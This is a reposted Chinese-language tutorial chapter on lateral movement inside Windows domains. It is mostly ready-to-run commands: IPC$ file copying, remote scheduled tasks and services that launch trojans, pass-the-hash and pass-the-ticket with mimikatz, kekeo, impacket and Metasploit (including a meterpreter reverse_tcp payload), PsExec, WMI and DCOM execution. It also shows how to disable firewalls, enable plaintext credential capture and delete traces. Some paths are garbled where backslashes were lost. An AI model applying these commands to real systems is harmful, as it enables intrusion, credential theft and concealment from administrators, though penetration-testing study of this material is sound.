10.1、为什么命令行渗透?
-
远程登录桌面增加暴露风险;
-
目标管理员可能对服务器禁用了远程登陆。
10.2、ipc连接
IPC---共享“命名管道”的资源,通过IPC$可以与目标机器建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
net use \192.168.10.12 /u:administrator password #建立ipc连接
net use # 查看连接
copy sbn.exe \192.168.10.12C$windowstemp #复制本地文件到目标服务器
copy \192.168.10.12C$windowstemphash.txt #复制目标服务器文件到本地
利用条件:
1、开启139【NetBIOS协议的应用】、445端口;
2、管理员开启了默认共享;
利用失败:
1、用户名或者密码错误;
2、目标没有开启139、445端口;
3、目标没有打开ipc$默认共享;
4、命令输入错误
使用net use命令与远程目标机器建立ipc$后,可以使用以下命令对远程目标进行操作。
10.2.1、dir命令
dir \192.168.1.100c$
10.2.2、tasklist命令
tasklist /S 192.168.1.100 /U administrator /P Admin123456
10.2.3、计划任务
1、at命令
at是windows自带用于创建计划任务的命令,它主要工作于windows server 2008之前版本的操作系统,使用at命令在远程目标上创建计划任务的流程如下:
-
使用net time命令确定远程机器当前的系统时间;
-
使用copy命令将payload文件复制到远程目标机器中;
-
使用at命令定时启动该payload文件;
-
删除使用at命令创建计划任务的记录。
net time \192.168.1.100 #查看远程目标的系统时间
copy calc.bat \192.168.1.100c$ #将文件复制到目标系统
at \192.168.1.100 4:11PM c:calc.bat #使用at创建计划任务,在下午4点11分执行calc.bat
at \192.168.1.100 ID /delete #清除at记录,ID为创建计划任务的ID
我们还可以使用at计划任务直接执行系统命令,但是由于不会回显,我们需要把命令写到文本中,再使用type读命令,操作如下:
at \192.168.183.130 17:05:00 cmd.exe /c "ipconfig > C:UsersAdministratorresult.txt"
type \192.168.183.130c$UsersAdministratorresult.txt
2、schtasks命令
windows vista、windows server 2008及之后版本的操作系统已经将at命令废弃了,取而代之的是schtasks命令。
用法如下:
schtasks /create /s 192.168.1.33 /tn test /sc onstart /tr c:calc.bat /ru system /f
# 在192.168.1.33这台远程主机上创建一个名称为“test”的计划任务,该任务在开机时启动,启动程序为c:calc.bat,启动权限为system
schtasks /run /s 192.168.1.33 /i /tn "test"
# 在远程主机上运行名为"test"的计划任务
在建立了ipc$连接的前提下,schtasks是不需要输入密码的,如果没有建立连接,可以加上/u和/p参数来输入用户名和密码。但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:
遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.1.33 /u administrator /p Liu78963 /tn test /sc minute /mo 1 /tr c:shell.exe /ru system /f
当计划任务运行后,为了更好地隐藏我们的行为,我们需要删除计划任务:
schtasks /delete /s 192.168.1.33 /tn "test" /f #/f参数为强制删除
除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:
schtasks /create /s 192.168.1.33 /tn test /sc minute /mo 1 /tr "C:WindowsSystem32cmd.exe /c 'whoami > C:UsersAdministratorresult.txt'" /ru system /f
schtasks /run /s 192.168.183.130 /i /tn test
最后利用type命令远程查看目标主机上的result.txt文件即可,如下图所示,命令执行成功:
10.2.4、sc命令
在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。流程基本如下:
-
先让跳板机与内网目标机DC建立ipc连接。
-
然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。
-
再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \WIN-ENS2VR5TR3N create bindshell binpath= "c:bind.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
-
立即启动该服务:
sc \WIN-ENS2VR5TR3N start bindshell
执行后,msf成功上线域控:
-
使用完后删除刚才创建的服务
sc \[host] delete [servicename] #删除服务
我们还可以通过设置服务来关闭防火墙:
sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \WIN-ENS2VR5TR3N start unablefirewall
10.2.5、删除ipc连接
当我们使用完ipc$连接后,我们需要删除ipc$:
net use 名称 /del /y
10.3、哈希传递攻击(Pass The Hash)
10.3.1、概念
大多数渗透测试人员都听过哈希传递(Pass The Hash)攻击。该方法通过找到与账号相关的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账户和密码,如果计算机的本地管理员账户和密码也是相同的,攻击者就可以通过哈希攻击的方法登录内网中的其他计算机。在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
因此攻击者往往会使用攻击将散列值传递到其他计算机中进行权限验证,实现对远程计算机的控制。
早期版本的Windows操作系统使用LM Hash对用户密码进行验证,但是当密码大于等于15位时,就无法使用LM Hash,从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份验证时,不会使用明文口令,而是将明文口令通过系统API转为散列值。
10.3.2、使用情况
10.3.2.1、工作组环境
-
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
-
KB2871997是微软用来解决PsExec或者IPC连接远程查看问题的补丁,能使本地账号不再被允许远程接入计算机系统,所以在Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击。由于SID为500的账号是一种"完全控制令牌"的权限账号,因此将Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向方法获取内网其他机子的控制权,而其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
10.3.2.2、域环境
-
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
10.3.3、使用NTLM Hash进行哈希传递
10.3.3.1、使用mimikatz进行哈希传递
10.3.3.1.1、域环境
这种方法需要有本地管理员权限,命令如下:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:[域控] /ntlm:[hash]"
运行完会弹出一个新的窗口,通过该窗口我们可以获取域内其他机子下的目录情况:
此时,为了让域控制器 DC 上线 Metasploit,我们只需做以下工作:
生成一个 msf 木马 shell.exe,将 shell.exe 上传到 Windows 7 主机,然后直接使用 copy 命令将 shell.exe 复制到域控上:
copy shell.exe \DC.whoamianony.orgc$ // 将 shell.exe 复制到域控主机上
sc \DC.whoamianony.org create backdoor binpath= "c:shell.exe"// 在域控上创建服务启动木马
sc \DC.whoamianony.org start backdoor // 在域控上立即启动该服务
sc \DC.whoamianony.org delete backdoor // 上线后在域控上立即删除该服务
此时虽然显示 1053 错误,但是如下图所示,域控制器成功上线,并且还是 SYSTEM 权限:
也能通过PsExec.exe获取其他域机子上的shell,在弹出的cmd窗口运行psexec.exe:
这种方法的前提是你必须获取域内任意一台机子的管理员权限和域管理员的密码NTLM哈希值。
10.3.3.1.2、工作组环境
privilege::debug #提升权限
sekurlsa::logonPasswords #获取NTLM哈希值
sekurlsa::pth/user:用户名 /domain:目标机器IP /ntlm:密码哈希 #使用administrator用户的NTLM哈希值进行攻击
10.3.3.2、利用wmiexec进行哈希传递
项目地址:https://github.com/SecureAuthCorp/impacket
进入 examples 目录即可找到我们的 wmiexec.py,然后执行以下命令即可:
python wmiexec.py -hashes :ab89b1295e69d353dd7614c7a3a80cec root0er.local/[email protected] "whoami"
# (proxychains4) python wmiexec.py -hashes :NTLM 域名/用户名@IP "命令"
10.3.3.3、利用Metasploit进行哈希传递
经常使用的三个模块:
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
这三个模块的使用方法相同,这里以 exploit/windows/smb/psexec 模块哈希传递攻击域控制器 DC 为例:
需要设置以下选项:
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec # 完整的Administrator用户的Hash
set smbdomain whoamianony
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.93.129
set lport 4444
exploit
注意这里的 smbpass 选项,其可以为明文密码,也可以为密码哈希,但是哈希值必须是完整的,如果不知道前面的 LM Hash 部分,可以像上面那样用 0 代替。
如下图所示,攻击成功,域控成功上线,并且是 SYSTEM 权限:
10.3.3.4、利用CobaltStrike进行哈希传递
使用CS里的mimikatz先dump下密码和hash。
在凭证中可以看到。
对内网进行探测后,选择一台主机,进行PTH,此时需要选择一个smb协议的Listener。
回连成功。
10.3.3.5、利用哈希传递登录远程桌面
参考第9章中的第5节
10.4、票据传递攻击
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限,mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递(Pass The Ticket,PTT)。
10.4.1、使用mimikatz进行票据传递
使用mimikatz,可以将内存中的票据导出。在mimikatz中输入以下命令:
privilege::debug
sekurlsa::tickets /export
执行完以上命令后,会在当前目录出现多个服务的票据文件,使用mimikatz清除内存中的票据:
kerberos::purge
将Administrator@krbtgt的这个票据文件复制到远程目标机器上,将票据文件注入内存。
kerberos::ptt "[0;52372][email protected]"
将高权限的票据文件注入内存后,重新打开一个CMD窗口即可列举远程目标的目录文件:
10.4.2、使用kekeo进行票据传递
票据传递也可以使用gentilkiwi
开源的另一款工具kekeo
实现。kekeo需要使用域名、用户名、NTLM Hash三者配合生成票据,再将票据导入,从而直接连接远程计算机。并且kekeo不需要本地管理员权限即可完成横向移动渗透。
项目地址:
https://github.com/gentilkiwi/kekeo
运行kekeo后输入以下命令:
tgt::ask /user:administrator /domain:root0er.local /ntlm:ccef208c6485269c20db2cad21734fe7 #生成票据文件
kerberos::purge #清除内存中的票据
kerberos::ptt "[0;52372][email protected]" #将票据文件导入内存中
使用命令dir dcc$查看远程主机的文件
10.4.3、票据传递攻击注意事项
-
使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
-
票据文件注入内存的默认有效时间为10小时
-
在目标机器上不需要本地管理员权限即可进行票据传递
10.5、PsExec的使用
PsExec可以在Window vista/NT 4.0/2000/XP/server 2003/server 2008/server 2012/server 2016上运行。
psexec的使用前提:
-
对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
-
对方未开启防火墙
-
如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
-
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
在建立IPC连接的情况下,执行如下命令,获取system权限的shell:
psexec.exe -accepteula \192.168.100.190 -s cmd.exe
如果没有建立IPC,psexec有两个参数可以通过指定账号和密码进行远程连接:
psexec.exe \192.168.100.190 -u administrator -p 123456 cmd.exe
执行如下命令,在远程计算机上回显:
psexec.exe \192.168.100.190 -u administrator -p 123456 cmd.exe /c "ipconfig"
10.6、WMI的使用
常用命令
wmic useraccount WHERE "Name='%username%'" set PasswordExpires=false //设置用户永不超期 wmic startup list brief //wmic获取自启信息
wmic volume list brief //wmic获取磁盘分区信息
wmic useraccount list full //wmic获取用户信息
wmic service list full //wmic获取服务信息
wmic SERVICE where name="dhcp" call stopservice //wmic关闭服务
wmic DESKTOPMONITOR get ScreenHeight,ScreenWidth //wmic获取屏幕分辨率
wmic process where processid="3652" delete //wmic关闭进程
wmic process 2345 call terminate //wmic关闭进程
wmic process where name="qq.exe" call terminate //wmic关闭进程
wmic qfe get Caption,Description,HotFixID,InstalledOn //wmic获取补丁安装时间
wmic process where name="ConsoleApplication.exe" get ExecutablePath //查看进程的位置 wmic.exe /node:ip /user:localhostadministrator /password:"password" PROCESS call create "cmd.exe /c whoami > ip.txt"
type \192.168.52.129c$ip.txt //远程命令执行
wmic qfe get hotfixid //查看补丁情况
10.6.1、列出远程主机进程
wmic /node:192.168.52.129 /user:administrator /password:Password!! process list brief
10.6.2、远程创建进程
可以看到在目标机器192.168.52.129成功执行了系统命令并输出到"tubai.txt",在目标指定目录可以发现文件。
wmic /node:192.168.52.129 /user:administrator /password:Password!! process call create "cmd.exe /c ipconfig > c:tubai.txt"
10.6.3、WMIEXEC工具
wmiexec.vbs
cscript wmiexec.vbs /shell 192.168.52.129 administrator Password!!
impacket套件
项目地址:
https://github.com/maaaaz/impacket-examples-windows
wmiexec.exe administrator:[email protected]
哈希传递
wmiexec.exe -hashes LM哈希:NTLM哈希 域名/用户名@目标IP
10.7、利用DCOM在远程机器中执行命令
在使用该方法的条件如下:
-
需要关闭目标系统的防火墙,如果目标主机DC没有关闭防火想的话会报错
-
在远程主机上执行命令时,必须使用具有本地管理员权限的账号。
1. 先让跳板机通过ipc连接远程DC计算机
net use \192.168.52.138ipc$ "Liufupeng123" /user:Liukaifeng01
2. 然后在跳板机上传木马程序shell.exe,并使用copy命令将shell.exe复制到DC的c盘上面去。
3. 然后对DC执行远程命令
(1)调用MMC20.Application远程执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138"))
// 通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
// 然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:shell.exe","Minimized")
(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:shell.exe","c:windowssystem32",$null,0)
这两种方法远程执行命令的方法均适用于Windows 7Windows 10、Windows Server 2008Windows Server 2016。
该内容转载自网络,更多内容请点击“阅读原文”
原文始发于微信公众号(web安全工具库):10、域内横向移动分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论